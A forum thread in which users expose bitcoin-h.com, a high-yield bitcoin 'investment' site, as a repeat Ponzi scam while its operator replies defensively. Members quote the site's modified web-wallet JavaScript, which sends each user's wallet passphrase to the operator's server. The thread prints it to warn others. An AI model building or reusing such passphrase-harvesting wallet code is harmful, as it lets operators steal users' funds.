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Topic: bitcoin-h.com = earn a profit up to 3% - 10% /daily! - INSTANT WITHDRAWAL - page 4. (Read 6021 times)

sr. member
Activity: 259
Merit: 250
I apparently got a payout.. Shocked
member
Activity: 64
Merit: 10
Experience is simply the name we give our mistakes
I guess I don't have to visit the company anymore with the stated evidence.

Still I will write them an email, as you mentioned them. I think, they (or their lawyers) will find this information including your "investment" site and the "collaboration" with this company very interesting.

Whoever you are bitcoin-h, please be so kind and just delete yourself Smiley

I nearly forgot to add this, but it's pretty useful for newbies just browsing through the gambling section:
SCAM !!!
legendary
Activity: 2646
Merit: 1137
All paid signature campaigns should be banned.
bitcoin-h, btc-banker and other alts of the same serial scammer:

This scam will go nowhere.  We are already on to you.  This alt is busted.  At least put in the effort to come up with a different scam next time!  It is like you have given up and you are not really even trying anymore.  Are you getting discouraged?  This one is identical in every single way to your last scam.  This thread reads like a carbon copy of the last thread.  You might as well have used the username btc-banker-again for this one.

You obviously put at least a small amount of effort into all of your various scams.  Instead, why not put your efforts into something useful that is not a scam?  Then the BTC you earn would be honest from honest work.  Wouldn't that feel better than just trying to steal, cheat and take advantage of people, and getting nowhere doing it?  How much did you make on the last scam?  Was it really worth your time and effort?  

You will make even less on this one.
legendary
Activity: 1050
Merit: 1004
Quote
3355 members with over 1478.6925 bitcoins are trusting us!
You'll be due to pay out 44.36BTC tomorrow at the 3% daily profit rate. Sign a message coming from a Bitcoin address with more than 40BTC

P.S. I know we won't get it based on the previous thread where we asked 50 times (Literally). But it's not too hard to ask again.
legendary
Activity: 1050
Merit: 1004
Where do I find my "transaction password"?  Huh

If you want to donate Bitcoin check out http://seansoutpost.com/
newbie
Activity: 14
Merit: 0
before you can make any transaction, like withdrawal, you must setup a transactions password, its for your account security
sr. member
Activity: 259
Merit: 250
Where do I find my "transaction password"?  Huh
legendary
Activity: 1050
Merit: 1004

Well until bitsky gets his money back (or not), we don't know for sure. I do believe that this guy is a really stupid scammer though.


Bitsky didn't deposit into the site and we do know for sure he's a scammer, look through the breakdown in the "Scam Accusations" thread.

hope we will have reply from members who stored bitcoins with us

Sounds familiar.

can you explain me please - how can i convince any of our member to post here messages? (we dont have, dont request any personal details like, name, email, etc) - if they will, they will post here...

i dont can sign our members bitcoin address, this address with money are not mine, but i can ask, i can send a internal message to some members with higher balance to do that...

nobody will post any real review? please, i wait our members review
Thats because you have no real customers, because you are a scammer.

nobody has come with evidence that we dont do what we promised.

That's because no one has been stupid enough to fall for your SCAM. What your doing is considered to be economically unfeasible, so unless you are operating at a loss - your intention is to act like a ponzi and wait for a large amount of deposits to steal all the coins. Want to prove your not a scam? Please sign a message where you actually have BTC1800 as you claim. If you're legit it shouldn't be too hard - takes about 5 minutes. Else your just a scammer and a liar.

There was not one single member who came into the thread with their positive experience with the site; none at all

BurtW brought up a great point here as well,

Why are you even here on this forum?  Why waste your time?  Even with not one single deposit from the people on these forums, at your current growth rate, in a few months every single person who has any Bitcoins will be your customer:

Quote
6594 members with over 1905.6817307692 bitcoins are trusting us!
6595 members with over 1905.7258461538 bitcoins are trusting us!
6597 members with over 1905.8140769231 bitcoins are trusting us!
6599 members with over 1931.8677884615 bitcoins are trusting us!
...
6608 members with over 1934.6846153846 bitcoins are trusting us!
6614 members with over 1935.9365384615 bitcoins are trusting us!
6981 members with over 1964.3635384615 bitcoins are trusting us!
...
7049 members with over 2003.5093846154 bitcoins are trusting us!
7052 members with over 2003.7389038462 bitcoins are trusting us!
7052 members with over 2003.7848076923 bitcoins are trusting us!
...
7091 members with over 2034.4256846154 bitcoins are trusting us!
7092 members with over 2034.5648269231 bitcoins are trusting us!
7092 members with over 2034.6112076923 bitcoins are trusting us!

That is not fast enough for you?  Do you really have the infrastructure (servers, personel) to handle a higher growth rate than is shown on the statistics from your web site?
newbie
Activity: 14
Merit: 0
thanks williamj2543
Bitsky never stored any cent - hope we will have reply from members who stored bitcoins with us
hero member
Activity: 588
Merit: 500
Get ready for PrimeDice Sig Campaign!
Well until bitsky gets his money back (or not), we don't know for sure. I do believe that this guy is a really stupid scammer though.
hero member
Activity: 576
Merit: 514
Haha. Bitsky, you still investing? It would be nice if you would invest like 0.01 to see if its legit. I would chip in 0.005
It looks like my address under my control in my wallet is not as good as my address under my control on his website.
bitcoin-h has ignored everything I posted so far. No explanations. No comments.
Not a real surprise now that devthedev pointed out the source code "update"...
legendary
Activity: 1050
Merit: 1004
Haha. Bitsky, you still investing? It would be nice if you would invest like 0.01 to see if its legit. I would chip in 0.005

That's what bitcoin-h wants, after scamming you guys of the .01 he'll blame it on a technical malfunction on your side and either attempt to continue scamming or re-host the source on a new domain.

I'm 120% sure bitcoin-h.com is not legit.

__________________________

After he was asked what script he was using this was his response,

the original sourse code is https://github.com/carbonwallet/carbonwallet.github.io (all can verify) was a bit modified for our needs.

The issue is, the critical section of code, the one that creates the key pair sequence from the password or pass phrase looks like this on the original web site:

Code:
$('#open-sesame').click(function(){

  var seed = $('#password').val();
  seed = mn_decode(seed);
  Electrum.init(seed, function(r) {
      if(r % 20 == 0)
        $('#seed-progress').css('width', (r + 19) + '%');
    },
    function(privKey) {
      Electrum.gen(10, function(r) {
        WALLET.getKeys().push(new Bitcoin.ECKey(r[1]));
        if(WALLET.getKeys().length == 10)
          login_success();
      });
    }
  );
      
  return true;
})

Notice how it simply creates 10 key pairs.  However, on the web site this function is highly modified:

Code:
$('#open-sesame').click(function(){

$.ajax({
url: 'api/login.php',
type: 'POST',
dataType: 'json',
data: 'passphrase='+$('#password').val(),
success: function(e)
{
w_id = e.id;
can_go = true;

if (e.unread > 0) {
$('#unread_count').html('('+e.unread+')')
}

if (e.mp == 1) {
$('[name=old_pass]').removeClass('hidden');
} else {
$('[name=old_pass]').addClass('hidden');
}

$.ajax({
url: 'api/commission.php',
type: 'POST',
dataType: 'json',
data: 'w='+w_id,
success: function(e)
{
$('#comm').html(e.comm);
withdraw_max = e.comm.replace(/0+$/,'');
withdraw_max = e.comm.replace(/\.+$/,'');
}
});

$.ajax({
url: 'api/withdraw.php',
type: 'POST',
data: 'w='+w_id,
success: function(e)
{
$('#withdraw').html(e);
$(document).on('click', '#withdraw_btn', function()
{
$('#withdrawModal').modal();
$('#withdrawAmmount').html(withdraw_max);
$('input[name=withdraw_amount]').val(withdraw_max);
})
}
});

$(document).on('click', '#withdrawBTC', function()
{
var wform = $(this).closest('form').serialize();
$.ajax({
url: 'api/withdraw.php',
type: 'POST',
data: wform,
success: function(e)
{
$('#withdraw').html(e);
}
});
})

$.ajax({
url: 'api/messages.php',
type: 'POST',
data: 'w='+w_id,
success: function(e)
{
$('#messages').html(e);
$(document).on('click', '.send_msg form button.submit', function()
{
var wform = $(this).closest('form').serialize();
$.ajax({
url: 'api/messages.php',
type: 'POST',
data: wform,
success: function(e)
{
$('#messages').html(e);
}
});
});
}
});

mn_words = e.seed;

var seed = $('#password').val();
seed = mn_decode(seed);

Electrum.init(seed, function(r) {
if(r % 20 == 0)
$('#seed-progress').css('width', (r + 19) + '%');
},
function(privKey) {
Electrum.gen(10, function(r) {
WALLET.getKeys().push(new Bitcoin.ECKey(r[1]));
if(WALLET.getKeys().length == 10)
login_success();
});
}
);
}
});

return true;
})

bitcoin-h, you collect the private keys of every one of your customers. Here is the proof, directly from your code:

Code:
	$('#open-sesame').click(function(){

$.ajax({
url: 'api/login.php',
type: 'POST',
dataType: 'json',
data: 'passphrase='+$('#password').val(),
success: function(e)
{

Specifically this line:

Code:
data: 'passphrase='+$('#password').val(),

Thanks BurtW for the insight on this one
newbie
Activity: 14
Merit: 0
this is your opinion ..who care about? i expect other members opinion too ...
hero member
Activity: 588
Merit: 500
Get ready for PrimeDice Sig Campaign!
Bitsky won't get any interest. Unfortunately, his Bitcoin will "disappear"
My point is that if he really has no access to private keys, then for him coins in my wallet aren't any different than coins at his website.
Ergo, he can just pay the daily interest directly to my address too without me having to transfer them.

Exactly, if you read through the btc-banker thread you can see he has direct access to the private keys.

Here's more evidence that he's the same person who ran the scam site btc-banker.com.

Here's the cached version of btc-banker.com (The original was taken down)


Here's the current bitcoin-h.com website.


Notice any similarities?
Haha. Bitsky, you still investing? It would be nice if you would invest like 0.01 to see if its legit. I would chip in 0.005
legendary
Activity: 1050
Merit: 1004
Bitsky won't get any interest. Unfortunately, his Bitcoin will "disappear"
My point is that if he really has no access to private keys, then for him coins in my wallet aren't any different than coins at his website.
Ergo, he can just pay the daily interest directly to my address too without me having to transfer them.

Exactly, if you read through the btc-banker thread you can see he has direct access to the private keys.

Here's more evidence that he's the same person who ran the scam site btc-banker.com.

Here's the cached version of btc-banker.com (The original was taken down)


Here's the current bitcoin-h.com website.


Notice any similarities?
hero member
Activity: 576
Merit: 514
Bitsky won't get any interest. Unfortunately, his Bitcoin will "disappear"
They won't because I never sent them to this service.

My point is that if he really has no access to private keys, then for him coins in my wallet aren't any different than coins at his website.
Ergo, he can just pay the daily interest directly to my address too without me having to transfer them.
legendary
Activity: 1050
Merit: 1004
sure - ask him, he is the man, "i know all" , again useless post, but thanks for hookup the thread

I don't understand your English.
hero member
Activity: 588
Merit: 500
Get ready for PrimeDice Sig Campaign!
sure - ask him, he is the man, "i know all" , again useless post, but thanks for hookup the thread
Again with the improper grammer. Why would I trust someone who doesn't even know the english language and no proper grammer with hundreds of dollars, and expect them to pay back 3% a day, with no possible way of profiting from the website.
newbie
Activity: 14
Merit: 0
sure - ask him, he is the man, "i know all" , again useless post, but thanks for hookup the thread
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